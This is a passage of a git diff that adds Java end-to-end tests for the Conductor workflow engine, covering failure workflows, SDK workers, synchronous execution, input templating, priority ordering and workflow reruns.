task1Output = (Map) tasks.get(0).get("outputData"); + assertEquals("inserted", task1Output.get("reason")); + assertEquals("completed", task1Output.get("status")); + } + + private void registerWorkflowDefWithFailureWorkflow( + String workflowName, + String taskName1, + String taskName2, + MetadataClient metadataClient) { + + WorkflowTask inline = new WorkflowTask(); + inline.setTaskReferenceName(taskName1); + inline.setName(taskName1); + inline.setWorkflowTaskType(TaskType.SIMPLE); + inline.setInputParameters(Map.of("evaluatorType", "graaljs", "expression", "true;")); + + WorkflowTask simpleTask = new WorkflowTask(); + simpleTask.setTaskReferenceName(taskName2); + simpleTask.setName(taskName2); + simpleTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask simpleTask2 = new WorkflowTask(); + simpleTask2.setTaskReferenceName(taskName2); + simpleTask2.setName(taskName2); + simpleTask2.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef failureWorkflow = new WorkflowDef(); + failureWorkflow.setName("failure_workflow"); + failureWorkflow.setOwnerEmail("test@conductor.io"); + failureWorkflow.setInputParameters(Arrays.asList("value", "inlineValue")); + failureWorkflow.setDescription("Workflow to monitor order state"); + failureWorkflow.setTimeoutSeconds(600); + failureWorkflow.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + failureWorkflow.setTasks(Arrays.asList(simpleTask2)); + metadataClient.updateWorkflowDefs(java.util.List.of(failureWorkflow)); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + workflowDef.setDescription("Workflow to monitor order state"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setFailureWorkflow("failure_workflow"); + workflowDef.getOutputParameters().put("status", "${" + taskName1 + ".output.status}"); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setTasks(Arrays.asList(inline, simpleTask)); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/workflow/JavaSDKTests.java b/e2e/src/test/java/io/conductor/e2e/workflow/JavaSDKTests.java new file mode 100644 index 0000000..935c121 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/workflow/JavaSDKTests.java @@ -0,0 +1,98 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.workflow; + +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.sdk.workflow.def.ConductorWorkflow; +import com.netflix.conductor.sdk.workflow.def.tasks.SimpleTask; +import com.netflix.conductor.sdk.workflow.def.tasks.Switch; +import com.netflix.conductor.sdk.workflow.executor.WorkflowExecutor; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; + +import io.conductor.e2e.util.ApiUtil; + +import static org.junit.jupiter.api.Assertions.*; + +public class JavaSDKTests { + + private static WorkflowExecutor executor; + + @BeforeAll + public static void init() { + TaskClient taskClient = ApiUtil.TASK_CLIENT; + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + executor = new WorkflowExecutor(taskClient, workflowClient, metadataClient, 1000); + executor.initWorkers("io.conductor.e2e.workflow"); + } + + @Test + @Disabled( + "Worker thread pool gets terminated by SwitchTests.@AfterAll when tests run sequentially; shared static AnnotatedWorkerExecutor thread pool in SDK causes RejectedExecutionException, leaving task1 worker unresponsive") + public void testSDK() throws ExecutionException, InterruptedException, TimeoutException { + ConductorWorkflow> workflow = new ConductorWorkflow<>(executor); + workflow.setName("sdk_integration_test"); + workflow.setVersion(1); + workflow.setOwnerEmail("test@conductor.io"); + workflow.setVariables(new HashMap<>()); + workflow.add(new SimpleTask("task1", "task1").input("name", "orkes")); + + Switch decision = new Switch("decide_ref", "${workflow.input.caseValue}"); + decision.switchCase( + "caseA", new SimpleTask("task1", "task1"), new SimpleTask("task1", "task11")); + decision.switchCase("caseB", new SimpleTask("task2", "task2")); + decision.defaultCase(new SimpleTask("task1", "default_task")); + + CompletableFuture future = workflow.executeDynamic(new HashMap<>()); + assertNotNull(future); + Workflow run = future.get(20, TimeUnit.SECONDS); + assertNotNull(run); + assertEquals(Workflow.WorkflowStatus.COMPLETED, run.getStatus()); + assertEquals(1, run.getTasks().size()); + assertEquals("Hello, orkes", run.getTasks().get(0).getOutputData().get("greetings")); + } + + @AfterAll + public static void cleanup() { + if (executor != null) { + executor.shutdown(); + } + } + + @WorkerTask("sum_numbers") + public BigDecimal sum(BigDecimal num1, BigDecimal num2) { + return num1.add(num2); + } + + @WorkerTask("task1") + public Map task1( + @com.netflix.conductor.sdk.workflow.task.InputParam("name") String name) { + return Map.of("greetings", "Hello, " + name); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/workflow/SyncWorkflowExecutionTest.java b/e2e/src/test/java/io/conductor/e2e/workflow/SyncWorkflowExecutionTest.java new file mode 100644 index 0000000..0aeb7ba --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/workflow/SyncWorkflowExecutionTest.java @@ -0,0 +1,297 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.workflow; + +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.util.List; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +import org.conductoross.conductor.common.model.WorkflowRun; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.Workflow; + +import com.fasterxml.jackson.core.type.TypeReference; +import io.conductor.e2e.util.ApiUtil; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class SyncWorkflowExecutionTest { + + static WorkflowClient workflowClient; + + static int threshold = 30000; + + @BeforeAll + public static void init() throws IOException { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + InputStream is = + SyncWorkflowExecutionTest.class.getResourceAsStream( + "/metadata/sync_workflows.json"); + TypeReference> listOfWorkflows = + new TypeReference>() {}; + List workflowDefs = + new ObjectMapperProvider() + .getObjectMapper() + .readValue(new InputStreamReader(is), listOfWorkflows); + metadataClient.updateWorkflowDefs(workflowDefs); + } + + @Test + @DisplayName("Check sync workflow is executed within 20 seconds") + public void testSyncWorkflowExecution() + throws ExecutionException, InterruptedException, TimeoutException { + + String workflowName = "load_test_perf_sync_workflow"; + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + CompletableFuture completableFuture = + workflowClient.executeWorkflow(startWorkflowRequest, List.of(), 25); + long start = System.currentTimeMillis(); + WorkflowRun workflowRun = completableFuture.get(120, TimeUnit.SECONDS); + long end = System.currentTimeMillis(); + System.out.println("WorkflowId " + workflowRun.getWorkflowId()); + long timeTaken = end - start; + System.out.println( + String.format( + "Workflow %s completed in %d ms.", workflowRun.getWorkflowId(), timeTaken)); + assertTrue(timeTaken < threshold, "Time taken was " + timeTaken); + System.out.println("Workflow Run: " + workflowRun.getTasks()); + } + + @Test + @DisplayName("Check sync workflow end with simple task.") + public void testSyncWorkflowExecution2() + throws ExecutionException, InterruptedException, TimeoutException { + + String workflowName = "sync_workflow_end_with_simple_task"; + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + CompletableFuture completableFuture = + workflowClient.executeWorkflow(startWorkflowRequest, "simple_task_rka0w_ref"); + long start = System.currentTimeMillis(); + WorkflowRun workflowRun = completableFuture.get(11, TimeUnit.SECONDS); + long end = System.currentTimeMillis(); + long timeTaken = end - start; + System.out.println("WorkflowId " + workflowRun.getWorkflowId()); + assertTrue(timeTaken < threshold, "Time taken was " + timeTaken); + assertEquals(Workflow.WorkflowStatus.RUNNING, workflowRun.getStatus()); + workflowClient.terminateWorkflow(workflowRun.getWorkflowId(), "Terminated"); + } + + @Test + @DisplayName("Check sync workflow end with set variable task.") + public void testSyncWorkflowExecution3() + throws ExecutionException, InterruptedException, TimeoutException { + + String workflowName = "sync_workflow_end_with_set_variable_task"; + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + CompletableFuture completableFuture = + workflowClient.executeWorkflow(startWorkflowRequest, "set_variable_task_1fi09_ref"); + long start = System.currentTimeMillis(); + WorkflowRun workflowRun = completableFuture.get(11, TimeUnit.SECONDS); + long end = System.currentTimeMillis(); + System.out.println("WorkflowId " + workflowRun.getWorkflowId()); + long timeTaken = end - start; + assertTrue(timeTaken < threshold, "Time taken was " + timeTaken); + } + + @Test + @DisplayName("Check sync workflow end with jq task.") + public void testSyncWorkflowExecution4() + throws ExecutionException, InterruptedException, TimeoutException { + + String workflowName = "sync_workflow_end_with_jq_task"; + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + CompletableFuture completableFuture = + workflowClient.executeWorkflow( + startWorkflowRequest, "json_transform_task_jjowa_ref"); + long start = System.currentTimeMillis(); + WorkflowRun workflowRun = completableFuture.get(11, TimeUnit.SECONDS); + long end = System.currentTimeMillis(); + long timeTaken = end - start; + System.out.println("WorkflowId " + workflowRun.getWorkflowId()); + assertTrue(timeTaken < threshold, "Time taken was " + timeTaken); + } + + @Test + @DisplayName("Check sync workflow end with sub workflow task.") + public void testSyncWorkflowExecution5() + throws ExecutionException, InterruptedException, TimeoutException { + + String workflowName = "sync_workflow_end_with_subworkflow_task"; + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + CompletableFuture completableFuture = + workflowClient.executeWorkflow(startWorkflowRequest, "http_sync"); + long start = System.currentTimeMillis(); + WorkflowRun workflowRun = completableFuture.get(21, TimeUnit.SECONDS); + long end = System.currentTimeMillis(); + long timeTaken = end - start; + System.out.println("WorkflowId " + workflowRun.getWorkflowId()); + assertTrue(timeTaken < threshold, "Time taken was " + timeTaken); + } + + @Test + @Disabled( + "Depends on external HTTP services (orkes-api-tester.orkesconductor.com, cdatfact.ninja) not reliably accessible in conductor-oss e2e; executeWorkflow times out instead of returning RUNNING state") + @DisplayName("Check sync workflow end with failed case") + public void testSyncWorkflowExecution6() + throws ExecutionException, InterruptedException, TimeoutException { + + String workflowName = "sync_workflow_failed_case"; + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + CompletableFuture completableFuture = + workflowClient.executeWorkflow(startWorkflowRequest, "http_fail"); + long start = System.currentTimeMillis(); + WorkflowRun workflowRun = completableFuture.get(9, TimeUnit.SECONDS); + long end = System.currentTimeMillis(); + long timeTaken = end - start; + assertTrue(timeTaken < threshold, "Time taken was " + timeTaken); + System.out.println("WorkflowId " + workflowRun.getWorkflowId()); + assertEquals(Workflow.WorkflowStatus.RUNNING, workflowRun.getStatus()); + workflowClient.terminateWorkflow(workflowRun.getWorkflowId(), "Terminated"); + } + + @Test + @DisplayName("Check sync workflow end with no poller") + public void testSyncWorkflowExecution7() + throws ExecutionException, InterruptedException, TimeoutException { + + String workflowName = "sync_workflow_no_poller"; + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + CompletableFuture completableFuture = + workflowClient.executeWorkflow(startWorkflowRequest, "simple_task_pia0h_ref"); + long start = System.currentTimeMillis(); + WorkflowRun workflowRun = completableFuture.get(21, TimeUnit.SECONDS); + long end = System.currentTimeMillis(); + long timeTaken = end - start; + assertTrue(timeTaken < threshold, "Time taken was " + timeTaken); + System.out.println("WorkflowId " + workflowRun.getWorkflowId()); + assertEquals(Workflow.WorkflowStatus.RUNNING, workflowRun.getStatus()); + workflowClient.terminateWorkflow(workflowRun.getWorkflowId(), "Terminated"); + } + + @Test + @DisplayName("check sync workflow with update variables") + public void testSyncWorkflowVariableUpdates() + throws ExecutionException, InterruptedException, TimeoutException { + + String workflowName = "sync_workflow_no_poller"; + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + CompletableFuture completableFuture = + workflowClient.executeWorkflow(startWorkflowRequest, "simple_task_pia0h_ref"); + long start = System.currentTimeMillis(); + WorkflowRun workflowRun = completableFuture.get(21, TimeUnit.SECONDS); + long end = System.currentTimeMillis(); + long timeTaken = end - start; + assertTrue(timeTaken < threshold, "Time taken was " + timeTaken); + System.out.println("WorkflowId " + workflowRun.getWorkflowId()); + assertEquals(Workflow.WorkflowStatus.RUNNING, workflowRun.getStatus()); + workflowClient.terminateWorkflow(workflowRun.getWorkflowId(), "Terminated"); + } + + @Test + @DisplayName( + "Check sync workflow with inline, wait, and simple task returns before timeout when waitUntilTaskRef is set") + public void testSyncWorkflowWithInlineWaitAndWaitUntilTaskRef() + throws ExecutionException, InterruptedException, TimeoutException { + + String workflowName = "sync_workflow_with_inline_wait_and_simple_task"; + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + // Execute workflow with waitUntilTaskRef pointing to simple_ref + // The workflow has: inline task (instant) -> wait task (5 seconds) -> simple task + // With waitForSeconds=25, the workflow should return after the simple task is scheduled. + // In conductor-oss postgres, WAIT sweeper adds ~10s overhead on top of the configured + // duration, + // so a 5-second WAIT may take ~15 seconds total before simple_ref is scheduled. + CompletableFuture completableFuture = + workflowClient.executeWorkflow(startWorkflowRequest, "simple_ref", 25); + long start = System.currentTimeMillis(); + WorkflowRun workflowRun = completableFuture.get(35, TimeUnit.SECONDS); + long end = System.currentTimeMillis(); + long timeTaken = end - start; + + System.out.println("WorkflowId " + workflowRun.getWorkflowId()); + System.out.println(String.format("Workflow completed in %d ms", timeTaken)); + + // Verify that the workflow returned after the WAIT task (at least 5 seconds) + // and before the waitForSeconds timeout (25 seconds + buffer) + assertTrue( + timeTaken >= 5000, + "Workflow should take at least 5 seconds due to WAIT task, but took " + + timeTaken + + "ms"); + assertTrue( + timeTaken < 30000, + "Workflow should complete before 30 second timeout, but took " + timeTaken + "ms"); + + // Verify that all three tasks were executed (inline, wait, simple) + assertEquals(Workflow.WorkflowStatus.RUNNING, workflowRun.getStatus()); + assertEquals( + 3, + workflowRun.getTasks().size(), + "Expected 3 tasks to be executed (inline, wait, simple)"); + + // Clean up + workflowClient.terminateWorkflow(workflowRun.getWorkflowId(), "Terminated"); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowInputTests.java b/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowInputTests.java new file mode 100644 index 0000000..b760487 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowInputTests.java @@ -0,0 +1,95 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.workflow; + +import java.io.IOException; +import java.util.Arrays; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.conductor.e2e.util.ApiUtil; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class WorkflowInputTests { + + private static ObjectMapper objectMapper; + + @Test + public void testWorkflowSearchPermissions() throws IOException { + objectMapper = new ObjectMapper(); + WorkflowClient workflowAdminClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataAdminClient = ApiUtil.METADATA_CLIENT; + String taskName1 = "task_input_test"; + String workflowName1 = "workflow_input_test"; + + // Register workflow + try { + registerWorkflowDef(workflowName1, taskName1, metadataAdminClient); + } catch (Exception e) { + } + + // Trigger two workflows + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName1); + startWorkflowRequest.setVersion(1); + startWorkflowRequest.setInput( + objectMapper.readValue( + "{\"a\":[{\"b\":[\"${workflow.functions.date_utc}\"]}], \"c\":\"${workflow.c}\", \"d\":\"${workflow.task2.output.a}\"}", + Map.class)); + + String workflowId = workflowAdminClient.startWorkflow(startWorkflowRequest); + + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowAdminClient.getWorkflow(workflowId, false); + assertEquals(workflow.getInput().get("c"), "${workflow.c}"); + assertEquals( + workflow.getInput().get("d"), "${workflow.task2.output.a}"); + }); + } + + private void registerWorkflowDef( + String workflowName, String taskName, MetadataClient metadataClient1) { + TaskDef taskDef = new TaskDef(taskName); + taskDef.setOwnerEmail("test@conductor.io"); + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName(taskName); + workflowTask.setName(taskName); + workflowTask.setTaskDefinition(taskDef); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + workflowTask.setInputParameters(Map.of("value", "${workflow.input.value}", "order", "123")); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + workflowDef.setDescription("Workflow to monitor order state"); + workflowDef.setTasks(Arrays.asList(workflowTask)); + metadataClient1.updateWorkflowDefs(java.util.List.of(workflowDef)); + metadataClient1.registerTaskDefs(Arrays.asList(taskDef)); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowPriorityTests.java b/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowPriorityTests.java new file mode 100644 index 0000000..6fcac0e --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowPriorityTests.java @@ -0,0 +1,140 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.workflow; + +import java.util.*; +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.WorkflowSummary; + +import io.conductor.e2e.util.ApiUtil; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; + +public class WorkflowPriorityTests { + + static WorkflowClient workflowClient; + static TaskClient taskClient; + static MetadataClient metadataClient; + + @BeforeAll + public static void init() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + } + + @Test + @DisplayName("Check workflow with priority when workflows are terminated") + public void testWorkflowPriorityWorkflowTerminated() { + String workflowName = "workflow-priority-test"; + String taskName = "priority-task"; + // Register workflow + registerWorkflowDef(workflowName, taskName, metadataClient); + terminateExistingRunningWorkflows(workflowName); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setPriority(2); + String lowerPriorityWorkflowId = workflowClient.startWorkflow(startWorkflowRequest); + + startWorkflowRequest.setPriority(1); + String higherPriorityWorkflowId = workflowClient.startWorkflow(startWorkflowRequest); + + // Terminate higher priority workflow + workflowClient.terminateWorkflows(List.of(higherPriorityWorkflowId), "Terminated by e2e"); + + // When task is polled. Task from lower priority workflow comes. + await().atMost(5, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Task task = taskClient.pollTask(taskName, "e2e", null); + assertNotNull(task); + assertEquals(task.getWorkflowInstanceId(), lowerPriorityWorkflowId); + }); + terminateExistingRunningWorkflows(workflowName); + } + + private static void registerWorkflowDef( + String workflowName, String taskName, MetadataClient metadataClient) { + TaskDef taskDef = new TaskDef(taskName); + taskDef.setOwnerEmail("test@conductor.io"); + taskDef.setRetryCount(0); + + WorkflowTask simpleTask = new WorkflowTask(); + simpleTask.setTaskReferenceName(taskName); + simpleTask.setName(taskName); + simpleTask.setTaskDefinition(taskDef); + simpleTask.setWorkflowTaskType(TaskType.SIMPLE); + simpleTask.setInputParameters(Map.of("value", "${workflow.input.value}", "order", "123")); + + taskName = taskName + "_2"; + WorkflowTask simpleTask2 = new WorkflowTask(); + simpleTask2.setTaskReferenceName(taskName); + simpleTask2.setName(taskName); + simpleTask2.setTaskDefinition(taskDef); + simpleTask2.setWorkflowTaskType(TaskType.SIMPLE); + simpleTask2.setInputParameters(Map.of("value", "${workflow.input.value}", "order", "123")); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + workflowDef.setDescription("Workflow to monitor order state"); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setTasks(Arrays.asList(simpleTask, simpleTask2)); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + metadataClient.registerTaskDefs(Arrays.asList(taskDef)); + } + + private void terminateExistingRunningWorkflows(String workflowName) { + // clean up first + SearchResult found = + workflowClient.search( + 0, + 5000, + "", + "*", + "workflowType IN (" + workflowName + ") AND status IN (RUNNING)"); + found.getResults() + .forEach( + workflowSummary -> { + try { + workflowClient.terminateWorkflow( + workflowSummary.getWorkflowId(), + "terminate - priority limiter test - " + workflowName); + System.out.println( + "Going to terminate " + workflowSummary.getWorkflowId()); + } catch (Exception ignored) { + } + }); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowRerunTests.java b/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowRerunTests.java new file mode 100644 index 0000000..5aa780e --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowRerunTests.java @@ -0,0 +1,6766 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.workflow; + +import java.time.Duration; +import java.util.*; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.exception.ConductorClientException; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.*; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; + +import io.conductor.e2e.util.ApiUtil; +import lombok.SneakyThrows; + +import static io.conductor.e2e.util.RegistrationUtil.registerWorkflowDef; +import static io.conductor.e2e.util.RegistrationUtil.registerWorkflowWithSubWorkflowDef; +import static io.conductor.e2e.util.TestUtil.getResourceAsString; +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +public class WorkflowRerunTests { + + static WorkflowClient workflowClient; + static TaskClient taskClient; + static MetadataClient metadataClient; + + @BeforeAll + public static void init() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + } + + @Test + @DisplayName("Check workflow with simple task and rerun functionality") + public void testRerunSimpleWorkflow() { + + String workflowName = "re-run-workflow"; + String taskName1 = "re-run-task1"; + String taskName2 = "re-run-task2"; + // Register workflow + registerWorkflowDef(workflowName, taskName1, taskName2, metadataClient); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + await().atMost(33, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertFalse( + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .isEmpty()); + }); + + await().atMost(33, TimeUnit.SECONDS) + .untilAsserted( + () -> { + assertFalse( + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .isEmpty()); + assertTrue( + workflowClient.getWorkflow(workflowId, true).getTasks().size() + > 1); + }); + + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + // Fail the simple task + Task task = workflow.getTasks().get(1); + workflow = + taskClient.updateTaskSync( + workflowId, + task.getReferenceTaskName(), + TaskResult.Status.FAILED, + new HashMap<>()); + assertEquals(Workflow.WorkflowStatus.FAILED, workflow.getStatus()); + + RerunWorkflowRequest rerunWorkflowRequest = new RerunWorkflowRequest(); + rerunWorkflowRequest.setReRunFromWorkflowId(workflowId); + rerunWorkflowRequest.setReRunFromTaskId(task.getTaskId()); + // Rerun the workflow + workflowClient.rerunWorkflow(workflowId, rerunWorkflowRequest); + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(workflow.getStatus().name(), Workflow.WorkflowStatus.RUNNING.name()); + assertEquals(workflow.getTasks().get(1).getStatus().name(), Task.Status.SCHEDULED.name()); + + workflow = + taskClient.updateTaskSync( + workflowId, + task.getReferenceTaskName(), + TaskResult.Status.COMPLETED, + new HashMap<>()); + assertEquals(Workflow.WorkflowStatus.COMPLETED, workflow.getStatus()); + } + + @Test + @DisplayName("Fail a task and then rerun it") + public void testFailTaskAndRerun() { + String workflowName = "re-run-fail-task-workflow"; + String taskName1 = "re-run-fail-task1"; + String taskName2 = "re-run-fail-task2"; + + // Register workflow + registerWorkflowDef(workflowName, taskName1, taskName2, metadataClient); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + 